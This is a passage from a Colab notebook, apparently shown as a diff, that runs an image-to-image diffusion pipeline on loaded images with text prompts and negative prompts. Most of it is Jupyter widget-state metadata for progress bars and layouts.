"0e19b13015304e75abe29a63bd8a9052", + "c2bf3e4561894b4f98047c14c8c6fcaf", + "3758340ddeb543a9854df0e5502725eb", + "eb34aef46c21431bbca887976b630a88", + "253c99a742054b8aa6f2e8e20093cfce", + "13263d08c8324e46a5661cca111e6bb4", + "91cb9127553d41719924473661d25b51", + "040ee5bc127a48a3b3a8727aefac4ae8", + "92ef2a1653944c10b5515f618811f749", + "3db5acc140324a6e9ac259a13595b65e" + ] + }, + "id": "T58XQSFpDEfZ", + "outputId": "a6f4a271-6a91-4578-e7f0-89800ed684f8" + }, + "outputs": [], + "source": [ + "prompt = \"World war, aesthetic\"\n", + "n_prompt = \"bad looking, deformed, wholesome\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.9).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5HvyI95eDEmU" + }, + "outputs": [], + "source": [ + "img = load_image(\"image3.png\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "0110098fd7ba45ada215e579d7a659b4", + "a548fd49eb4a451386b340a677f93073", + "1a80f747d4b4437099554768298a7b4a", + "f8ed4f4a78df426aa227ef4e1dda7063", + "0030fdc5270147c7a9cf0574fedab275", + "3394e6e9924e4f2bb791976994169806", + "81b7286bea0841e6b54dba275f5c71b5", + "5c5b46c826a546008a4c8767c40bb1c9", + "cef46b7bd56547bd87478e9c3eaa2aa7", + "40b3e69446974dccb4675c68b6b3db6e", + "66ec2664ae9049548c50a0729a79b3bc" + ] + }, + "id": "td1Jm19GIMzA", + "outputId": "15685051-9943-4f05-cd5b-71b7830870d1" + }, + "outputs": [], + "source": [ + "prompt = \"Beautiful anime landscape\"\n", + "n_prompt = \"bad, deformed, ugly\"\n", + "pipe(prompt=prompt, image=img, negative_prompt=n_prompt, strength=0.7).images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "nybmdyVoSelv" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0030fdc5270147c7a9cf0574fedab275": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0110098fd7ba45ada215e579d7a659b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a548fd49eb4a451386b340a677f93073", + "IPY_MODEL_1a80f747d4b4437099554768298a7b4a", + "IPY_MODEL_f8ed4f4a78df426aa227ef4e1dda7063" + ], + "layout": "IPY_MODEL_0030fdc5270147c7a9cf0574fedab275" + } + }, + "02dae045c1e7433cbdd872206d35e2f4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "040ee5bc127a48a3b3a8727aefac4ae8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "061de01186f440bea0491134ff347c86": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "07a62b7083044ede9ec79902d595e4b9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "07d4c54ed84242068b64353eec6593fa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0e19b13015304e75abe29a63bd8a9052": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_253c99a742054b8aa6f2e8e20093cfce", + "placeholder": "​", + "style": "IPY_MODEL_13263d08c8324e46a5661cca111e6bb4", + "value": "100%" + } + }, + "0f79744697af4a53835dee31a1b4f748": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f3d5fc14999740b2bb7e4c21d1413b37", + "placeholder": "​", + "style": "IPY_MODEL_b274cfa1678e49938e163e2d17d7f179", + "value": " 35/35 [00:12<00:00, 2.94it/s]" + } + }, + "11fb8904566f4751beffc60b2785b97e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e9797440d4904681b6d32ba13e38cf69", + "IPY_MODEL_a2d89cde3ec1423798f3591a2aadbaef", + "IPY_MODEL_e9de6d1bfc2541fbaf1c5315be405904" + ], + "layout": "IPY_MODEL_07a62b7083044ede9ec79902d595e4b9" + } + }, + "13263d08c8324e46a5661cca111e6bb4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "15b2d929ce0a4c70a156302db442e1a9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1a80f747d4b4437099554768298a7b4a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5c5b46c826a546008a4c8767c40bb1c9", + "max": 35, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_cef46b7bd56547bd87478e9c3eaa2aa7", + "value": 35 + } + }, + "23e3dc5b455d445a957cf44e6c913b30": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "253c99a742054b8aa6f2e8e20093cfce": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2540be75baeb49769f279ad95778a857": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "279e8805d1a8468496bf091b2854683e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2ad534b30374491ca6b99f035efa1004": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b3c65e0ad46a4fdcb639e3c98983f1b7", + "placeholder": "​", + "style": "IPY_MODEL_7d12e7d3738f4094a2c1d7a56a03c928", + "value": "100%" + } + }, + "2cc5cba3a49842fab50519d9968a4e53": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3394e6e9924e4f2bb791976994169806": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3758340ddeb543a9854df0e5502725eb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_92ef2a1653944c10b5515f618811f749", + "placeholder": "​", + "style": "IPY_MODEL_3db5acc140324a6e9ac259a13595b65e", + "value": " 45/45 [00:14<00:00, 3.09it/s]" + } + }, + "3b4ca1a9965f4aeabff645cc5d6aa92e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6f02e4b70ac145a1a9b0d9a97f8a0d6b", + "placeholder": "​", + "style": "IPY_MODEL_61e7f8494b86497fbe3d96f37206d930", + "value": "100%" + } + }, + "3cd041ccf57c46ff91b714b7c572f581": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3db5acc140324a6e9ac259a13595b65e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3f267dc1656b4c2e9a0496da73081b15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_061de01186f440bea0491134ff347c86", + "placeholder": "​", + "style": "IPY_MODEL_15b2d929ce0a4c70a156302db442e1a9", + "value": "100%" + } + }, + "3f2e54c7185e4251962269369e30a9ec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f037d2a0f68e4647ab8d1e3c278aac8f", + "IPY_MODEL_77bdcf219f2e4aa8ba1725329011f2bc", + "IPY_MODEL_bf5ffbefc35449659cc9aae956e9a292" + ], + "layout": "IPY_MODEL_6186ca097ee64f289f1becdd180cf1aa" + } + }, + "3ff6eda7d146478880b0d26670caa23c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "40b3e69446974dccb4675c68b6b3db6e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "41c7ad82fa3f4a24a13a09f384e8fd51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "42b12e19632c48e8809ccc1dfde61417": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7a282eb45d6f4d5da0c6f5241b023b32", + "placeholder": "​", + "style": "IPY_MODEL_af74c20beba94d84b5cf97818b6bd191", + "value": "100%" + } + }, + "4c55892c8dd3450a9904bce9e9b80057": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5066ac8781ec4f00b27ec6be27eb8506": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "52ee43cf76e948e4944d0539462e41f4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d97e3dc3965247c3b5f19925e1a481f2", + "placeholder": "​", + "style": "IPY_MODEL_6c4f2c3e26614dce84bc1bf63b1e263f", + "value": " 25/25 [00:08<00:00, 2.99it/s]" + } + }, + "5c5b46c826a546008a4c8767c40bb1c9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5d7dd248760841d9b95a356cdcdd6797": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e9454ab1e9034e908b84be5c6bf6f069", + "IPY_MODEL_970fd0cc56d748ccb2ee2287b33ec5fa", + "IPY_MODEL_52ee43cf76e948e4944d0539462e41f4" + ], + "layout": "IPY_MODEL_9d8254d8917c4874b980ae8e4c72b324" + } + }, + "5e4d7e7e89cf4b8e9cab8d34d88d662e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6041b74d03bd48f0adea3662f0b9bc27": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a3a361916b864a3cadb650a563842b16", + "placeholder": "​", + "style": "IPY_MODEL_279e8805d1a8468496bf091b2854683e", + "value": " 35/35 [00:04<00:00, 7.66it/s]" + } + }, + "606165cb16e74f20a46035ca4ba95e5c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8dccd6692afc41caa28072f35667bfac", + "placeholder": "​", + "style": 